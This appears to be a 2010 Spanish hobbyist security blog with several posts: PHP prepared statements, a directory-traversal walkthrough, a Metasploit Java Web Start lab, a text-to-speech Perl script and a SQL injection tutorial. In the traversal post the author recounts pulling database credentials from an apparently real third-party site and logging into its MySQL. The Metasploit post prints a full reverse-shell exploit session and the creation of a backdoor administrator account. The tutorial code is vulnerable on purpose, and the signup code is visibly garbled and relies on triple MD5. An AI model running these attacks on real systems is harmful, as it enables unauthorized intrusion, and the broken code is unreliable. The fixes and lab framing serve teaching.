domingo, 19 de septiembre de 2010

Charla UNNE- RFI LFI & Directory transversal en Descarga de archivo

El sabado 18/09, (ayer :)), los chicos de la Franja me invitaron a un evento que se realializo en la Unversidad de la UNNE, FaCENA, a las 9 hs, donde hubieron 2 charlas, una de Evaluación de Sistemas y otra mia que fue sobre Seguridad en PHP. Quiero agradecer a los chicos de la Franja (Chici, Carlitos, Aguntin ), por haberme dado la oportunidad de dictar una conferencia en la UNNE donde soy alumno, y donde si dios quiere termino este año Licenciatura.
Bien les paso algunas fotos y la presentación, donde no esta muchas cosas que mostre de codigo en php ya que no estraban en los slays, pero si algunas cosas importantes.





Fotos del Evento


con Bernardo, que hizo un video de LFI por metodo POST










Asado en lo de Padilla, y Yamila cocinando naaaa jajajaja




Saludos

lunes, 23 de agosto de 2010

Prepared Statements PHP y MySQL- Alta usuario

Anduve probando unas cosas en PHP, en estos dias que estaba mas libre con la facultad, y me decidi crear un alta de usuario, donde haya una seguridad relativamente alta.
Primero que nada use lo que se llama como Prepared Statements, que nos permite realizar una consulta al DBMS, pudiendo por asi decirlo, separar lo que ingresa el usuario del codigo mismo, es decir que el motor sabe que valor es ingresado por el usuario, con la ventaja pricipal en seguridad de que no pueden inyectar codigo arbitrario en la consulta conocido como SQL INJECTIO

Coloquemos un ejemplo de lo que seria una consulta con Prepared Statements, un consulta a un articulo de una noticia.

$mysqli = new mysqli('host', 'user', 'pass', 'db');
$stmt=$mysqli->prepare("SELECT * FROM NOTICIAS WHERE ID=?");
$stmt->bind_param('i', $_GET['id']);
$stmt->execute();

En la primer linea creamos el un objeto mysqli, en la segunda preparamos la consulta para enviar al motor, note que el valor que se espera se coloca con el caracter ?, tercera linea agrega la variable a la sentencia preparada, fijese que está el valor i, lo cual significa que lo que se espera será un entero. Tambien podemos usar s (string), d (double), b (binary data) dependiendo lo que se necesita.
En la cuarta linea ejecutamos el Statement Prepared. :)
En la sección de Prevencion de SQL INJECTION de la OWASP, lo tenemos como primer medida de seguridad. Lo bueno de esto es que el codigo no queda tan sucio, al filtrar todas las entradas del usuario con funciones como int(), settype(), is_numeric(), mysql_real_escape_string() etc.

El alta creado tiene las siguientes caracteristicas: La contraseña se encripta 3 veces en md5 (lo cual se puede cambiar desde el codigo), debe ser mayor a 7 caracteres, y debe contener al menos una mayuscula y un numero.
Este es el codigo con el formulario en HTML y el PHP.


<html>

Alta Usuario

<form action='' method='post'>
<br>
Nombre:
<br>
<input type='text' name='nombre'>
<br>
Email
<br>
<input type='text' name='email'>
<br>
Usuario:
<br>
<input type='text' name='user'>
<br>
Contraseña:
<br>
<input type='password' name='pass'>
<br>
<input type='submit' value='Enviar' name='enviar'>
</form>

function pass_cript($pass){
for($i=0;$i <3;$i++){ pass="md5($pass);" stmt=" $mysqli">prepare("SELECT usuario FROM usuarios WHERE usuario=?");
$stmt->bind_param('s', $usuario);
$stmt->execute();
$stmt->bind_result($result);
#tercer if
if($stmt->fetch()== false)
{
verificar_pass();
}
else {
echo "El usuario ya existe";
}
}

function alta(){

global $mysqli;
global $usuario;
global $password;
global $email;
global $nombre;
$password=pass_cript($password);
$stmt=$mysqli->prepare("INSERT INTO usuarios (usuario, password, Email, Nombre) VALUES (?, ?, ?, ?)");
// Bind your variables to replace the ?s
$stmt->bind_param('ssss', $usuario, $password, $email, $nombre);
// Execute query
$stmt->execute();
printf("%d Fila Insertada.\n", $stmt->affected_rows);
// Close statement object
$stmt->close();
echo "El usuario ".$usuario." ha sido dado de alta!!";
}

function verificar_pass(){
global $password;

if(strlen($password) > 7 )
{
if (preg_match('/[A-Z]+[0-9]+/', $password) || preg_match('/[0-9]+[A-Z]+/', $password))
{
alta();
}
else
{
echo "El password debe estar constituido por al menos una mayuscula y al menos un digito";
exit;
}
}
else
{
echo "El password debe ser mayor a 7 caracteres";

}
}




#Prepared Statements
$mysqli = new mysqli('host', 'user', 'pass', 'db');
if (mysqli_connect_errno())
{
printf("Can't connect to MySQL Server. Errorcode: %s\n", mysqli_connect_error());
exit;
}
#Primer if
if(!empty($_POST['enviar']))
{
#segundo if
if (isset($_POST['nombre']) && !empty($_POST['nombre']) && isset($_POST['email']) && !empty($_POST['email']) && isset($_POST['user']) && !empty($_POST['user']) && isset($_POST['pass']) && !empty($_POST['pass']))
{

$nombre=$_POST['nombre'];
$usuario=$_POST['user'];
$password=$_POST['pass'];
$email=$_POST['email'];
verificar_usuario();

}#cierre segundo if
else
{
echo "Debe rellenar los camposs gracias";
}
}#cierro primer if

?>


Voy a explicar lo que hace el codigo, osea su secuencia para que se entienda y luego los que quieren usarlo lo usen para sus
altas XD o para probar.
En la linea 105 es donde verifico que todos los datos del formulario esten definidos y que no esten en blanco, en caso afirmativo
tomo esos valores y voy a la función verificar_usuario().
Esta función lo que hace es verificar si el usuario que se quiere dar de alta existe en la base de datos,
en caso de que llegara a existir imprimira una leyenda con "El usuario ya existe", y se terminaria el proceso. En caso negativo se
se dirige a la función verificar_pass().
Esta función realiza el testeo de seguridad del password donde debe cumplir que: debe ser mayor a 7 caracteres y
debe contener al menos una mayuscula y un numero en el.
Cumpliendo estas restricciones en el password se dirige a la función alta(), que en la linea 57,
el valor de $password es pasado a a la función pass_cript(), para encriptarlo en una cantidad de 3 veces en MD5, luego basicamente
se realiza el INSERT INTO correspondiente al alta :).

Aca les dejo algunos enlaces para que sigan leyendo sobre Prepared Statemen

http://mattbango.com/notebook/web-development/prepared-statements-in-php-and-mysqli/
http://www.ultramegatech.com/blog/2009/07/using-mysql-prepared-statements-in-php/
http://www.hiteshagrawal.com/mysql/mysql-prepared-statement-in-php



Saludos

miércoles, 18 de agosto de 2010

JOINEA 2010


Bueno despues de mas de un mes sin postear, por motivos de la facultad y otras cosas vuelvo.

Este fin de semana se viene la JOINEA - Jornade de Integración, Extensión y Actualización de Estudiantes de Sistemas - el cual se realiza en Apostoles Misiones organizado por los chicos de la UNaM.
Hubo un llamado de papers, envie uno y quedo seleccionado, sobre Segridad Web: SQL injection y Directory Transversal, pero por motivos de tiempo en la expocicion lo reduje solamente a SQL Injection ya que se haria interminable.
Hay buen nivel de las expociciones, asi que seguro voy a ir a aprender mucho y conocer gente nueva el cual son los objetivos principales. Aqui les dejo el cronograma del evento.
Mañana a las 12 salimos de la Costanera, ya que el centro de estudiantes de la FA.CE.NA organizo el viaje para cualquiera a un costo accesible que incluye viaje, hospedaje y comida, en donde se lleno un colectivo con capacidad para 45 personas.
Aqui les dejo mi presentacion,




Saludos

lunes, 21 de junio de 2010

Directory Transversal en descarga de Archivo

Me encontre con una web la cual nesesitaba descargar un fichero que me resultaba de interes, donde la direccion de descarga era similar a esto:
http://www.sitio.com/descarga/download.php?file=archivo.extension, por lo que me propuse verificar si dicho downloader tenia alguna validación, para provocar un Directory Transversal.
Lo que realize fue la peticion de este modo http://www.sitio.com/descarga/download.php?file=download.php, para descargarme el archivo download.php
y heureca :)



Al abrir el archivo download.php podemos empezar a verificar las fallas de la validaciones:


$filename = $_GET['file'];

// addition by Jorg Weske
$file_extension = strtolower(substr(strrchr($filename,"."),1));

if ( ! file_exists( $filename ) )
{
echo "not file";
exit;
};
switch( $file_extension )
{
case "pdf": $ctype="application/pdf"; break;
case "exe": $ctype="application/octet-stream"; break;
case "zip": $ctype="application/zip"; break;
case "doc": $ctype="application/msword"; break;
case "xls": $ctype="application/vnd.ms-excel"; break;
case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
case "gif": $ctype="image/gif"; break;
case "png": $ctype="image/png"; break;
case "jpeg":
case "jpg": $ctype="image/jpg"; break;
default: $ctype="application/force-download";

header("Pragma: public"); // required
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false); // required for certain browsers
header("Content-Type: $ctype");
// change, added quotes to allow spaces in filenames, by Rajkumar Singh
header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($filename));
readfile("$filename");


?>


en la primera linea, podemos ver que toma el nombre del archivo por la variable $_GET['file'] y lo guarda en $filename, luego en la linea 4 lo que hace esta funcion es tomar todo el nombre del archivo y solo obtener su extension por ejemplo, si el archivo a descargar es archivo.pdf la variable $file_extension va a contener pdf, aca fue lo que me parecio algo muy bueno cuando estaba leyendo el codigo, pero solo lo usa para colocar el tipo de MIME(linea 12), lo cual esta muy bien pero tambien ubiera filtrado con ellos una black-list para que no se pueda descargar entensiones peligrosas.
En la linea 31 mostramos el nombre del archivo que le aparecera al usuario cuadno descarga y en la linea 33 el Content-Lenght es el tamaño del archivo, ah y la linea 29 es el MIME del que hablamos anteriormente. :)
Como la descarga se realizo con un php podemos llegar a pensar que podemos descargar cualquier php de la web, entonces buscaremos descargar el index que es donde puede haber datos interesantes de conexion de base de datos :)

http://www.sitio.com/descarga/download.php?file=../index.php



Al abrir el archivo index.php vemos esta informacion un poco mas interesante que la anterior



Nos descargamos el archivo class_DB.php, y dentro de ese archivo vemos una linea mucho mas interesante


include("conectar.php");


Y como piensan que sigue esto? ........... Si correcto, nos descargamos el archivo conectar.php




Bien ahora queda buscar el phpmyadmin, colocando www.sitio.com/phpmyadmin de la forma facil, y si no encontramos ahi podemos largar algun bruteador. O tambien que es la que mas me gusta por el cliente de mysql, primero comprobamos si el puerto esta abierto hacia el publico con Nmap :)



y ahora nos conectamos




Creo que queda entendida la peligrosidad de lo que se expone a no validar estas entradas asi como todas las entradas que se le da al usuario, siempre hay que verificarlas. Desde una simple bajada de archivo pudimos ingresar a sus datos, romper la confidencialidad de ellos, podriamos romper su integridad y hasta la disponibilidad de su sitio Web.

Para completar, al mismo script, le coloque seguridad, para que no se pueda descargar alguna extension peligrosa como php, asp, inc, etc. y para que no se pueda escalar directorios.



$index="http://".$_SERVER['SERVER_NAME']."/index.php";
$filename = basename($_GET['file']);
$ruta="descargas/".$filename;
// addition by Jorg Weske
$file_extension = strtolower(substr(strrchr($filename,"."),1));
#------------Bloque Seguridad ------------------
if(preg_match('/(php|asp|ini|inc|bak)/',$file_extension)){
header("Location:".$index);
}

elseif( $filename == "" )
{
header("Location:".$index);
}
elseif( ! file_exists( $ruta ) )
{
header("Location:".$index);
};

#-----------Fin Bloque Seguridad--------------
switch($file_extension )
{
case "pdf": $ctype="application/pdf"; break;
case "exe": $ctype="application/octet-stream"; break;
case "zip": $ctype="application/zip"; break;
case "doc": $ctype="application/msword"; break;
case "xls": $ctype="application/vnd.ms-excel"; break;
case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
case "gif": $ctype="image/gif"; break;
case "png": $ctype="image/png"; break;
case "jpeg":
case "jpg": $ctype="image/jpg"; break;
default: $ctype="application/force-download";
}

header("Pragma: public"); // required
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false); // required for certain browsers
header("Content-Type: $ctype");
header("Content-Disposition: attachment; filename=\"".$filename."\";" );#nombre del archivo en la descarga
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($ruta));
readfile("$ruta");



?>


La segunda linea usamos la funciona basename, que logra que si el usuario coloca por ejemplo /carpeta/carpeta2/archivo.pdf, nos devilvera archivo.pdf, eliminado toda la ruta anterior y con la ayuda de la linea 3 ponemos una carpeta llamada descargas, la cual en ella contendra todos los archivos para descargas (valga la redundancia), y donde el usuario nunca podra escaparse de ella.
Asi por ejemplo si el usuario intenta descargar de esta forma
www.sitio.com.ar/download.php?file=/etc/passwd la variable $filename quedara con el valor passwd, y concatenando con la carpeta descargas la variable $ruta contendra descargas/passwd
En el bloque de seguridad, la primer linea verifica con una expresion regular que si existe esas extensiones, te direcciones al index (se puede colocar tantas como guste en esa lista).


Eso es todo

Saludos

miércoles, 16 de junio de 2010

Seguridad en Apache




Bueno hace mucho que no andaba haciendo nada por el blog, por motivos de la facultad y otras cuestiones personales :).
Tengo que dar una clase en la Facultad Fa.C.E.N.A, en la catedra Redes de Altas Prestaciones en la cual soy adscripto, y como tema elegi Apache.
Bueno la documentación en si no esta muy avanzada ya que seria mas que nada una introduccion a lo que es apache y como configurarlo apuntando a la seguridad en un nivel intermedio, por motivos de que solamente lo doy en una sola expocición y hay alumnos que nunca instalarón Apache, ni mucho menos tocaron Linux asi que uno de mis objetivos es que se codeen con Debian y obviamte configurar Apache que es el eje de la clase.
Tambien trabajo con Lampp, por cuestiones de que esta catedra esta en el ultimo año y ya estamos todos con el tema de la Tesis, y algunos estan tirando hacia PHP, y este paquete nos trae todo empaquetado MySQL, PHP y Apache, aunque lo mejor hubiera sido compilarlo a Apache desde 0 descargando de la pagina oficial.
Bueno la información que elegi creo que esta buena para empezar a toquetear las funcionalidades basicas y no tan basicas de Apache, les dejo mas abajo el material.





Enlace






Saludos a todos y Feliz Dia del Padre :)






miércoles, 12 de mayo de 2010

Laboratorio Metasploit java Web Start + Escritorio Remoto Getgui

Otro mas laboratorio sobre Metasploit. Creo que este es uno de los exploit mas peligrosos con respecto a los anteriores que mostre, ya que lo estube probando y no llega a ser detectado por los AV.
La falla reside en el Web Start de Java, el binario llamada javaws.exe, el problema es que la validacion de URL es minima por lo cual se puede realizar una inyeccion de codigo arbitrarios.
Esta falla fueron descubiertas paralelamente por Tavis Ormandy y Ruben Santamarta

la línea de comandos "-XXaltjvm "y curiosamente también "-J-XXaltjvm "(vea el interruptor -J en javaws.exe). Esto indica a Java que cargue una bibliotec JavaVM alternativa (jvm.dll o libjvm.so) desde la ruta deseada. Fin del juego. Podemos establecer-XXaltjvm = \ \ IP\maligno, de esta manera javaw.exe cargará nuestra jvm.dll maligna. Adios ASLR, DEP .. . ", dijo Santamarta en su comunicado.


Un buen documento explicado sobre la falla es en este link

Para que funcione este exploit desde Metasploit Framework, tenemos que estar en una maquina como root y no tener ningun servidor SMB corriendo, el otro requerimiento es que en la maquina victima tiene que estar el WebClient prendido. La forma de verificar si esta corriendo el servicio es

C:\>sc query webclient | find "STATE"
STATE : 4 RUNNING



Prueba Metasploit

Para demostrar la falla utulizaremos el popular metasploit, y el exploit cargado llamado java_ws_arginject_altjvm. Abajo se muestra toda la secuencia de comandos para cargar el exploit mas el payloads, cosas ya viste anteriormente en los anteriores publicaciones sobre metasploit :)


#msfconsole
_ _
_ | | (_)_
____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
|_|


=[ metasploit v3.4.0-dev [core:3.4 api:1.0]
+ -- --=[ 320 exploits - 99 auxiliary
+ -- --=[ 217 payloads - 20 encoders - 6 nops
=[ svn r9306 updated today (2010.05.15)

msf > use exploit/windows/browser/java_ws_arginject_altjvm
msf exploit(java_ws_arginject_altjvm) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(java_ws_arginject_altjvm) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf exploit(java_ws_arginject_altjvm) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(java_ws_arginject_altjvm) > set LPORT 3333
LPORT => 3333
msf exploit(java_ws_arginject_altjvm) >
[*] Started reverse handler on 192.168.56.1:3333
[*] Using URL: http://192.168.56.1:80/
[*] Server started.






Ahora solo queda que la victima ingrese a nuestro servidor iniciado por el MSF con la pagina HTML maligna.








La maquina Virtual es un XP SP 3 y la Version de Java es:

C:\Documents and Settings\victima 2>java -version
java version "1.6.0_18"
Java(TM) SE Runtime Environment (build 1.6.0_18-b07)
Java HotSpot(TM) Client VM (build 16.0-b13, mixed mode, sharing)


Se aconseja actualizar Java a una version mas reciente, a partir de la 1.6.0_20, es donde se encuentra el parche, ya que es es considerada de criticidad maxima a esta vulnerabilidad.
De todos los exploit que he probado sobre browser hasta el momento, este es uno de los mas peligrosos, ya que es independiente del browser, y los AV hasta el momento ( por lo que eh notado ), no tienen alguna firma, aunque me paresca raro..



ESCRITORIO REMOTO

Cuando obtenemos una session de meterpreter, tenemos muchas funcionalidades, como migrarnos de procesos, keyloger, screenshot, capturar las llaves, etc.
La opcion que vamos a ver, es un script que permite abrir un Terminal Server en la maquina victima, pero para que nosotros podamos usarlos sin algun problema tendremos que modificar el codigo para que coloque un usuario en el grupo Administradores en las version español de windows.

El script se llama GETGUI, para modificar nos vamos a donde estan los archivos de script en mi caso:

/opt/metasploit3/msf3/scripts/meterpreter

En esta ruta estan lo script del meterpreter.

Como veran, el getgui nos da algunas opciones donde una de ellas es el lenguaje, con el parametro -l le pasamos el tipo pero solo hay en Ingles y Aleman.




meterpreter > run getgui -h
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u -p
Or: getgui -e

OPTIONS:

-e Enable RDP only.
-f Forward RDP Connection.
-h Help menu.
-l The language switch
Possible Options: 'de_DE', 'en_EN' / default is: 'en_EN'
-p The Password of the user to add.
-u The Username of the user to add.




Lo que haremos es editar el archivo getgui.rb

#nano /opt/metasploit3/msf3/scripts/meterpreter/getgui.rb

Nos dirijimos a la linea 113, y cambiamos este trozo de codigo
case lang
when "en_EN"
rdu = "Remote Desktop Users"
admin = "Administrators"
when "de_DE"
rdu = "Remotedesktopbenutzer"
admin = "Administratoren"

end



Por este otro

case lang
when "en_EN"
rdu = "Remote Desktop Users"
admin = "Administrators"
when "de_DE"
rdu = "Remotedesktopbenutzer"
admin = "Administratoren"
when "es_ES"
rdu = "Usuarios de escritorio remoto"
admin = "Administradores"


end


Una vez que hayamos cambiado, ahora nos vamos al nuestra sessions del meterpreter y ejecutamos.


meterpreter > run getgui -u hacker -p 123456 -l es_ES
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Language set by user to: 'es_ES'
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] Setting user account for logon
[*] Adding User: hacker with Password: 123456
[*] Adding User: hacker to local group 'Usuarios de escritorio remoto'
[*] Adding User: hacker to local group 'Administradores'
[*] You can now login with the created user




Lo que hace esto es crear un usuario hacker con password 123456 al grupo "Administradores" y que pueda accederse atravez de escritorio remoto dicho usuario "Usuarios de Escritorios remoto".
Ahora para ver si todo funciona, vamos a una shell y con el programa rdesktop nos conectamos. ( Si no lo tenes y estas en debian o distros similares aptitude install rdesktop ).

$rdesktop 192.168.56.101












Eso es todo, Saludos


REFERENCIAS

http://blog.metasploit.com/2010/04/java-web-start-argument-injection.html
http://seclists.org/fulldisclosure/2010/Apr/119
http://www.pentester.es/2010/05/explotando-java-web-start.html
http://www.pentester.es/2010/05/vulnerabilidad-en-java-web-start.html
http://threatpost.com/es_la/blogs/nueva-falla-en-java-afecta-todas-la-versiones-de-windows-040910

lunes, 26 de abril de 2010

Jugando con Festival


Buenas hace un tiempo habia visto un post sobre este tema en el blog de Zerial.
La cuestion es que siempre quise jugar con esto pero por A o por B nunca lo hice, pero en fin ayer me quede hasta tarde entretenido con festival y me codee algo en perl para traer datos desde la web.

¿Pero que es Festival? Festival es un software text-to-speech (TTS) o sintetizador de vóz que nos permite lograr que nuestra máquina nos hable o, más bien, nos lea algún texto. Mas informacion aqui
Estracto Blog de Zerial


Para instalar este paquete no logueamos como r00t en la shell y lo instalamos con aptitude

$su
#aptitude install festival
#aptitude install festlex-cmu festlex-poslex festvox-kallpc16k libestools1.2 festvox-ellpc11k

Para probar que funciona correctamente, nos logueamos como usuario normal y colocamos.

$ festival --language spanish
Festival Speech Synthesis System 1.96:beta July 2004
Copyright (C) University of Edinburgh, 1996-2004. All rights reserved.
For details type `(festival_warranty)'
festival> (SayText "holaa como estas")

Si oyen el "Hola Como estas", es una voz horrible robotica pero bueno es lo que hay xD. Tambien se le puede pasar un archivo de texto para que lo lea. Tengo un amigo que uso uno de estos programas en windows y se leyo todo el libro de Kevin Mitnick "El arte de la intrusion" xD. Para leer un archivo se pasa este parametro.

$festival --language spanish --tts archivo.txt

Acoplando con Perl

Me escribi un simple script en perl donde trae el pronostico de Corrientes Capital, y empieza a recolectar datos que quiero con expresiones regulares, tambien nos dice la hora y algunas cosas mas. Esta maso por que lo hice a la madrugada y tenia pensado seguir agregandole mas cosas pero ya se hacia muy tarde, en fin se les dejo el script.
Esta muy entretenido podemos hacer muchas cosas como por ejemplo que nos lea noticias importantes, horoscopos, estado del transito etc. Yo lo coloque que cuando arranque el sistema me cuente como esta el pronostico ( ya me esta por cansar igual ja ).
Ah la pagina donde saca el pronostico es esta

who-speak.pl

#!/usr/bin/perl

use LWP::Simple;

use utf8 ;

no utf8 ;

$pag="http://www.weather.com/weather/today/Corrientes+Argentina+ARCS0025";

$ua = LWP::UserAgent->new(agent => 'Mozilla/5.0 (X11; U; Linux x86_64; es; rv:1.9.1.8) Gecko/20100218 Firefox/3.0.3 (like Firefox/3.5.8)');

$ua->default_header('Accept-Language' => "es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3");#acceptar lenguage español

$ua->timeout(7);

#$ua->env_proxy;

$response = $ua->get($pag);

$pedido= $response->content;



#$pedido =~m/<p align=center><b>HOY(.*?)<\/b><\/p>/s;

#$dia=$1;

#--------------------------Tomo fecha actualizacion de datos--------------------------------------------s#

#

$pedido =~m/<p class="ccWeatherTimeStamp">Updated:\s*(.*?)Local Time<\/p>/s;#tomo la actulizacion de los datos

$update=$1;

$update=~s/\n//gi;$update=~s/\t//gi;#limpio los \n y los \t

#----------Cambio los meses a Español------------

$update=~s/Jan/Enero/gi;

$update=~s/Feb/Febreol/gi;

$update=~s/Mar/Marzol/gi;

$update=~s/Apr/Abril/gi;

$update=~s/May/Mayo/gi;

$update=~s/June/Junio/gi;

$update=~s/July/Julio/gi;

$update=~s/Aug/Agosto/gi;

$update=~s/Sept/Septiembre/gi;

$update=~s/Oct/Octubre/gi;

$update=~s/Nov/Noviembre/gi;

$update=~s/Dec/Diciembre/gi;

#-----------------Fin CAmbio Meses---------------------





#--------tomo la temperatura-----------



$pedido =~m/<div class="ccTemp">(\d+)° F<\/div>/s;

$temp=$1;

$centigrados=($temp - 32) * 5/9;#paso de F a C

$centigrados = sprintf("%.1f", $centigrados);#truncoo el numero

#-------------tomo el estado---------------

$pedido =~m/<div class="ccdata"><p>(.*?)<\/p><\/div>/s;

$estado=$1;





#--------------------------creo el archivoi--------------------------------------------s#

($sec,$min,$hour)= localtime(time);



open (AR,">"."temp.txt") || die "No puede crear el archivo error: $!";

print AR "Hola Francisco, BUEN DIA!!\n";

print AR "Son las $hour horas, con $min minutos, y $sec segundos.\n";

print AR "Estado Del Tiempo. -- Corrientes Argentina --.\n";

print AR "Ultima Actualizacion del Pronostico ".$update.".\n";

print AR "En este momento, la temperatura es de: ".$centigrados." Centigrados.\n";

print AR "con un estado del tiempo ".$estado."\n";

close(AR);

system('festival --language spanish --tts temp.txt');




Eso es todo..

Saludos

domingo, 18 de abril de 2010

SQL injection Parte I


Sin lugar a dudas esta tecnica es una de las mas peligrosas que hay en una aplicacion, ya sea WEB o de Escritorio, por la potencia que tiene y la capacidad de poder ingresar a un sistema de una forma eficaz. Por practica puedo decir que es vulnerabilidad que mas me gusta testear, ya que tiene muchas posibilidades de ataque. Decidi crear post sobre este tema dividas en partes, esta sera la primer entrega :).
Vamos a ver desde el pricipio y para que lo practiquen en forma local, asi que nesesitaremos un paquete llamado LAMPP para trabajar en entornos Linux ( tambien lo pueden hacer desde W$ ), que nos trae empaquetado APACHE, PHP, MYSQL y FTP.


¿Que es SQL Injection?
Es la Tecnica que permite introducir comandos SQL arbitrarios en una consulta que esta establecida en la aplicacion, la cual las variables que piden al usuario no pasan por algun filtro, pudiendo este introducir comandos SQL que luego seran interpretados por el DBMS.
Dependiendo el motor se inyecta de una forma u otra, este tutorial va a estar basado en MySQL con PHP.


Requisitos:
  1. Descargar Lammpp Ultima Version
  2. Conocimientos en PHP y MySQL
  3. Conocimientos de phpMyAdmin

Comenzando

1)Instalando lampp

Como dije anteriormente,
el tutorial enseñara hasta como instalar el lampp, de forma básica podría encontrar mas datos sobre el, en su pagina principal.
Cuando tengamos el archivo de lampp que en este caso seria este xampp-linux-1.7.3a.tar.gz, para instalarlo tiene una forma super fácil, nos logueamos como r00t y colocamos en la consola

#tar xvfz xampp-linux-1.7.3a.tar.gz -C /opt

Esto creara una carpeta llamada lampp, en el directorio /opt. Por lo tanto todos los archivos, binarios, conflagraciones, bases de datos, etc estarán en el /opt/lampp.
Podemos ir posicionandonos en ella e ir familiarizandonos,

#cd /opt/lampp; ls -la

La conflagración del Lampp por ahora la vamos a dejar como default, para poder hacer inyecciones copadas sobre MySQL. Lo que si vamos a cambiar es el DocumentRoot
de apache, que es la raíz lógica de donde apache empieza a leer los documentos, para ellos tenemos que editar el archivo httpd.conf de Apache


#cd /opt/lampp/etc
Realizamos un backups antes de realizar cambios en archivos de configuraciones de cualquier tipo.
#cp httpd.conf httpd.conf.backup
#nano httpd.conf

Yo uso nano uds podrian usar VI o el que quisieran, buscamos la linea donde dice

DocumentRoot "/opt/lampp/htdocs"

Y cambiamos a una carpeta en nuestro home, osea en mi caso

DocumentRoot "/home/magnobalt/www"

Una vez hecho esto guardamos, abrimos otra shell, como usuario comun y creamos la carpeta www en nuestro home

$mkdir /home/magnobalt/www

Listo con esto tenemos configurado para que apache venga a leer a esta carpeta y busque los archivos para ejecutar en el servidor. Aquí es donde vamos a colocar nuestro archivos html, js, php, css, etc.
Para alzar los servicios de lampp hacemos lo siguiente como r00t.

#/opt/lampp/lampp start
Starting XAMPP for Linux 1.7.2...
XAMPP: Starting Apache with SSL (and PHP5)...
XAMPP: Starting MySQL...
XAMPP: Starting FTP ..
XAMPP for Linux started.

Con esa informacion significa que todos los servicios estan corriendo sin problemas, en caso de que haya problema les avisara con una leyenda, pero si no tocaron nada todo correra perfectamente.
Para poder empezar podemos ir a nuestro navegador y escribir http://localhost o http://127.0.0.1, lo cual es la ip de loopback, osea que ingresamos a nuestra propia maquina,
como nos tenemos ningun archivo index,html, index.php etc, todavia en nuestro DocumentRoot en mi caso /home/magnobalt/www, seguramente mostrara seguramente un error 403 Fordiben.
Para poder ingresar al PhpMyAdmin colocamos en el browser http://localhost/phpmyadmin, se daran cuenta que entra directamente, eso es por que al instalar lampp, la contraseña del usuario root en mysql esta en blanco, Obivamente esto no deberia quedar asi, se tendria que colocar una, pero aqui obviaremos.



Primer SQL Injection:

Lo que primero vamos a realizar es un bypass a un login, esta inyeccion es la mas facil de entender, ¿Bypass WTF!!?. El termino Bypass significa saltarse algun tipo
de seguridad, por ejemplo, si un programador me coloca en una funcion que una variable no acepte numeros enteros, y yo de alguna forma logro que la aplicacion
tome numeros enteros, estoy bypaseando (saltando) la seguridad del programador. :)

Lo que haremos es crear un Panel de Administrador, donde pedira usuario y contraseña, pero antes que nada para esto nesesitamos crear una Base de Datos, y una tabla
llamada Usuarios. Para ellos usaremos el PhpMyadmin.




En la imagen se puede observar como estamos creando una tabla llamada usuarios con los compos, id, usuario, password, nombre y correo. EL campo id es nuestra clave y es incremental.


En SQL seria de esta forma:

    CREATE TABLE `hacking`.`usuarios` (
`id` INT( 2 ) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`usuario` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 20 ) NOT NULL ,
`nombre` VARCHAR( 35 ) NOT NULL ,
`correo` VARCHAR( 50 ) NOT NULL
) ENGINE = MYISAM ;


Ahora que tenemos la tabla, vamos a crear los archivos php, como el panel siempre esta en una carpeta
llamada, admin, administrador, administrator etc. Vamos a crear una carpeta llamada admin en nuestro DocumentRoot que va hacer donde vamos a guardar los archivos del Login, lo cual quedaria /home/magnobalt/www/admin

Los archivos que vamos a nesesitar van hacer index.php, login.php y estilo.css


index.php




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<title>Hacking Nea</title>

<link rel="STYLESHEET" type="text/css" href="../estilo.css">



<body>

<div id="contenedor">

<div id="encabezado">





</div>

<!--fin de encabezado-->



<div id="menu">





</div>



<div id="areatexto">



<div id="cuadrodialogo">

<h1><b>Sistema de Logueo ZamBonet</b></h1>

<form action="login.php" method="post">



<br>Nombre:

<br>

<input type="text" name="nombre" maxlength="8">

<br>

<br>

Contrasena:

<br>

<input type="password" name="pass" maxlength="80">

<br>

<input type="submit" value="Enviar">



</form>



</div>





</div>

<!--fin areatexto-->











<div id="pie">

<!--fin pie-->

</div>

<!--fin contenedor-->





</body>

</html>


Este archivo es el formulario que pedira al usuario que ingrese el usuario y el password, el cual los datos ingresados son procesados por un archivo llamado login.php.

login.php

<?php

$hostname = "localhost";

$database = "hacking";

$username = "root";

$password = "";

$conexion = mysql_connect($hostname, $username, $password) or die ('Error conexion'.mysql_error());



$usuario=$_POST['nombre'];

$password=$_POST['pass'];



mysql_select_db($database,$conexion);

$sql="SELECT * FROM usuarios WHERE usuario='$usuario' AND password='$password'";

echo "Esta es la Consulta: ".$sql;

echo "<br>";echo "<br>";



$login=mysql_query($sql,$conexion) or die ('Error en la consulta'. mysql_error());



$row=mysql_fetch_array($login);

if(isset($row) && !empty($row)){ //verifico que la variable $row tenga informacion

echo "<br>";

echo "<h1><b>ACCESO PERMITIDO<b></h1>";

echo "<br>";

echo "Estos son tus datos";

echo "<br>";echo "<br>";

echo "Usuario: ".$row['usuario'];

echo "<br>";

echo "Password: ".$row['password'];

echo "<br>";

echo "Email: ".$row['correo'];

}

else

{

